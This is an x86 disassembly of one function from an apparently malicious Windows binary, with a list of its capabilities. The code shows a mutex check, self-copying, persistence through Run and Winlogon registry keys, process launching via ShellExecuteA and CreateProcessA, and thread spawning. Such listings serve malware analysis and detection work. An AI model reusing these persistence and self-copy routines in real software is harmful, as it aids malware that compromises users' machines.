Function at 0x300129e0
Capabilities:
Accept command line arguments
Acquire debug privileges
Copy file
Create process on windows
Persist via run registry key
Persist via winlogon helper dll registry key
Self delete

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x16
push 0
push 0
dec ecx
jne 0x300129e8
push ebx
push esi
push edi
mov eax, 0x30012908
call fcn.30002798
mov ebx, 0x30015930
xor eax, eax
push ebp
push 0x3001317f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x30015928
mov edx, 0x30013198
call fcn.30001e44
mov eax, dword [0x30015928]
call fcn.3000218c
push eax
push 0
push 0
call fcn.300028f8
mov dword [0x3001592c], eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x30012a55
mov eax, dword [0x3001592c]
push eax
call sub.kernel32.dll_CloseHandle
push 0
call sub.kernel32.dll_ExitProcess_1
push 0x8007
call sub.kernel32.dll_SetErrorMode
mov eax, 0x300131ac
call fcn.3000858c
call fcn.30012740
call sub.kernel32.dll_GetCommandLineA_1
mov edx, eax
lea eax, [ebp - 0x14]
call fcn.30001f1c
mov edx, dword [ebp - 0x14]
mov eax, 0x300131c8
call fcn.300022cc
test eax, eax
jne 0x30012d3d
push 0
lea eax, [ebp - 0x18]
lea edx, [ebx + 0x200]
call fcn.30001f4c
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
lea edx, [ebx + 0x300]
call fcn.30001f4c
mov edx, dword [ebp - 0x1c]
pop eax
call fcn.30001f9c
mov eax, dword [ebp - 0x18]
call fcn.3000218c
push eax
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.30001370
mov eax, dword [ebp - 0x20]
call fcn.3000218c
push eax
call sub.kernel32.dll_CopyFileA
lea edx, [ebp - 0x24]
xor eax, eax
call fcn.30001370
mov eax, dword [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
lea edx, [ebx + 0x200]
call fcn.30001f4c
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
lea edx, [ebx + 0x300]
call fcn.30001f4c
mov edx, dword [ebp - 0x2c]
pop eax
call fcn.30001f9c
mov edx, dword [ebp - 0x28]
pop eax
call fcn.300020d8
je 0x30012c92
cmp dword [ebx + 0x710], 0
je 0x30012c92
mov eax, 0x30016150
mov edx, 0x300131d4
call fcn.30001e44
push dword [0x30016150]
push 0x300131e8
push 0x300131f8
mov eax, 0x30016150
mov edx, 3
call fcn.30002054
push dword [0x30016150]
push 0x30013204
lea edx, [ebp - 0x30]
xor eax, eax
call fcn.30001370
push dword [ebp - 0x30]
push 0x30013214
push 0x300131f8
mov eax, 0x30016150
mov edx, 5
call fcn.30002054
push dword [0x30016150]
push 0x30013220
lea edx, [ebp - 0x34]
xor eax, eax
call fcn.30001370
push dword [ebp - 0x34]
push 0x30013234
push 0x300131f8
mov eax, 0x30016150
mov edx, 5
call fcn.30002054
push dword [0x30016150]
push 0x30013248
push 0x300131f8
mov eax, 0x30016150
mov edx, 3
call fcn.30002054
push dword [0x30016150]
push 0x30013204
lea eax, [ebp - 0x38]
call fcn.30007c14
push dword [ebp - 0x38]
push 0x30013258
push 0x300131f8
mov eax, 0x30016150
mov edx, 5
call fcn.30002054
mov dl, 1
mov eax, dword [0x30004bb0]
call fcn.300015cc
mov esi, eax
mov eax, dword [0x30016150]
call fcn.30001f94
mov ecx, eax
mov edx, dword [0x30016150]
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x3c]
call fcn.30007c14
lea eax, [ebp - 0x3c]
mov edx, 0x3001326c
call fcn.30001f9c
mov edx, dword [ebp - 0x3c]
mov eax, esi
call fcn.300051c4
mov eax, esi
call fcn.300015fc
push 0
push 0x30013274
push 0x30013274
lea eax, [ebp - 0x40]
call fcn.30007c14
lea eax, [ebp - 0x40]
mov edx, 0x3001326c
call fcn.30001f9c
mov eax, dword [ebp - 0x40]
call fcn.3000218c
push eax
push 0x30013278
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [0x3001592c]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, 0x30016220
xor ecx, ecx
mov edx, 0x10
call fcn.300013f8
mov eax, 0x30016230
xor ecx, ecx
mov edx, 0x44
call fcn.300013f8
mov eax, 0x30016154
xor ecx, ecx
mov edx, 0xcc
call fcn.300013f8
mov dword [0x30016230], 0x44
mov dword [0x3001625c], 0x80
push 0x30016220
push 0x30016230
push 0
push 0
push 0
push 0
push 0
push 0
push 0x30013280
lea eax, [ebp - 0x44]
lea edx, [ebx + 0x200]
call fcn.30001f4c
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebx + 0x300]
call fcn.30001f4c
mov edx, dword [ebp - 0x48]
pop eax
call fcn.30001f9c
mov eax, dword [ebp - 0x44]
call fcn.3000218c
push eax
call sub.kernel32.dll_CreateProcessA
push 0
call sub.kernel32.dll_ExitProcess_1
cmp dword [ebx + 0x404], 0
je 0x30012dea
mov ecx, 0x30016274
mov edx, 0x3001328c
mov eax, 0x80000002
call fcn.30005f04
lea eax, [ebp - 0x4c]
lea edx, [ebx + 0x200]
call fcn.30001f4c
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x50]
lea edx, [ebx + 0x300]
call fcn.30001f4c
mov edx, dword [ebp - 0x50]
pop eax
call fcn.30001f9c
mov eax, dword [ebp - 0x4c]
mov edx, dword [0x30016274]
call fcn.300022cc
test eax, eax
jne 0x30012dd5
push dword [0x30016274]
push 0x300132d4
lea eax, [ebp - 0x54]
lea edx, [ebx + 0x200]
call fcn.30001f4c
push dword [ebp - 0x54]
lea eax, [ebp - 0x58]
lea edx, [ebx + 0x300]
call fcn.30001f4c
push dword [ebp - 0x58]
mov eax, 0x30016274
mov edx, 4
call fcn.30002054
mov ecx, dword [0x30016274]
mov edx, 0x3001328c
mov eax, 0x80000002
call fcn.30005e08
cmp byte [ebx + 0x408], 0
je 0x30012ea9
lea eax, [ebp - 0x5c]
lea edx, [ebx + 0x200]
call fcn.30001f4c
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x60]
lea edx, [ebx + 0x300]
call fcn.30001f4c
mov edx, dword [ebp - 0x60]
pop eax
call fcn.30001f9c
mov eax, dword [ebp - 0x5c]
push eax
lea eax, [ebp - 0x68]
lea edx, [ebx + 0x408]
call fcn.30001f4c
mov ecx, dword [ebp - 0x68]
lea eax, [ebp - 0x64]
mov edx, 0x300132e0
call fcn.30001fe0
mov edx, dword [ebp - 0x64]
mov eax, 0x80000002
pop ecx
call fcn.30005e08
lea eax, [ebp - 0x6c]
lea edx, [ebx + 0x200]
call fcn.30001f4c
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x70]
lea edx, [ebx + 0x300]
call fcn.30001f4c
mov edx, dword [ebp - 0x70]
pop eax
call fcn.30001f9c
mov eax, dword [ebp - 0x6c]
push eax
lea eax, [ebp - 0x78]
lea edx, [ebx + 0x408]
call fcn.30001f4c
mov ecx, dword [ebp - 0x78]
lea eax, [ebp - 0x74]
mov edx, 0x300132e0
call fcn.30001fe0
mov edx, dword [ebp - 0x74]
mov eax, 0x80000001
pop ecx
call fcn.30005e08
lea edx, [ebp - 0x7c]
xor eax, eax
call fcn.30001370
mov eax, dword [ebp - 0x7c]
push eax
lea eax, [ebp - 0x80]
call fcn.30007c40
mov edx, dword [ebp - 0x80]
pop eax
call fcn.300020d8
je 0x30012f76
mov eax, dword [0x3001592c]
push eax
call sub.kernel32.dll_CloseHandle
mov dl, 1
mov eax, dword [0x30004bb0]
call fcn.300015cc
mov esi, eax
lea eax, [ebp - 0x84]
lea edx, [ebx + 0x200]
call fcn.30001f4c
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x88]
lea edx, [ebx + 0x300]
call fcn.30001f4c
mov edx, dword [ebp - 0x88]
pop eax
call fcn.30001f9c
mov edx, dword [ebp - 0x84]
mov eax, esi
call fcn.30005298
mov eax, esi
call fcn.30004e0c
mov ecx, eax
mov edx, dword [esi + 4]
mov eax, 0x30016150
call fcn.30001edc
mov eax, esi
call fcn.300015fc
push 0
mov eax, 0x30016150
call fcn.300021e0
push eax
lea eax, [ebp - 0x8c]
call fcn.30007c40
mov eax, dword [ebp - 0x8c]
mov ecx, 0x300131c8
pop edx
call fcn.30007dac
push 0
call sub.kernel32.dll_ExitProcess_1
cmp byte [ebx + 0x508], 0
je 0x30013038
lea eax, [ebp - 0x90]
lea edx, [ebx + 0x200]
call fcn.30001f4c
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x94]
lea edx, [ebx + 0x300]
call fcn.30001f4c
mov edx, dword [ebp - 0x94]
pop eax
call fcn.30001f9c
mov eax, dword [ebp - 0x90]
push eax
push 0x30013318
lea eax, [ebp - 0x9c]
lea edx, [ebx + 0x508]
call fcn.30001f4c
push dword [ebp - 0x9c]
push 0x30013358
lea eax, [ebp - 0x98]
mov edx, 3
call fcn.30002054
mov edx, dword [ebp - 0x98]
mov eax, 0x80000002
pop ecx
call fcn.30005e08
lea eax, [ebp - 0xa4]
lea edx, [ebx + 0x508]
call fcn.30001f4c
mov ecx, dword [ebp - 0xa4]
lea eax, [ebp - 0xa0]
mov edx, 0x30013318
call fcn.30001fe0
mov edx, dword [ebp - 0xa0]
mov eax, 0x80000001
call fcn.3000597c
cmp dword [ebx + 0x708], 0
je 0x3001304d
mov edx, 0x3001336c
xor eax, eax
call fcn.3000ec78
cmp dword [ebx + 0x70c], 0
je 0x30013062
mov edx, 0x3001336c
xor eax, eax
call fcn.3000d5ac
mov eax, 0x30016278
lea edx, [ebx + 0x608]
call fcn.30001f4c
jmp 0x30013141
lea eax, [ebp - 0xa8]
push eax
mov ecx, 1
mov edx, 0x3001337c
mov eax, dword [0x30016278]
call fcn.300071dc
mov edx, dword [ebp - 0xa8]
mov eax, 0x3001627c
call fcn.30001e44
mov eax, dword [0x3001627c]
call fcn.30001f94
mov ecx, eax
inc ecx
mov eax, 0x30016278
mov edx, 1
call fcn.30002228
mov dl, 1
mov eax, dword [0x30007138]
call fcn.300015cc
mov ebx, eax
lea eax, [ebp - 0xac]
push eax
mov ecx, 1
mov edx, 0x30013388
mov eax, dword [0x3001627c]
call fcn.300071dc
mov edx, dword [ebp - 0xac]
lea eax, [ebx + 4]
call fcn.30001e44
lea eax, [ebp - 0xb0]
push eax
mov ecx, 2
mov edx, 0x30013388
mov eax, dword [0x3001627c]
call fcn.300071dc
mov eax, dword [ebp - 0xb0]
call fcn.300076b0
mov dword [ebx + 8], eax
push ebx
push 0
push 0x3001614c
mov ecx, 0x30012454
xor edx, edx
xor eax, eax
call fcn.30001dac
mov dword [ebx + 0xc], eax
push 0x5dc
call sub.kernel32.dll_Sleep
mov eax, dword [0x30016278]
call fcn.30001f94
test eax, eax
jg 0x30013077
push 0xa
call sub.kernel32.dll_Sleep
call fcn.300072d0
jmp 0x30013153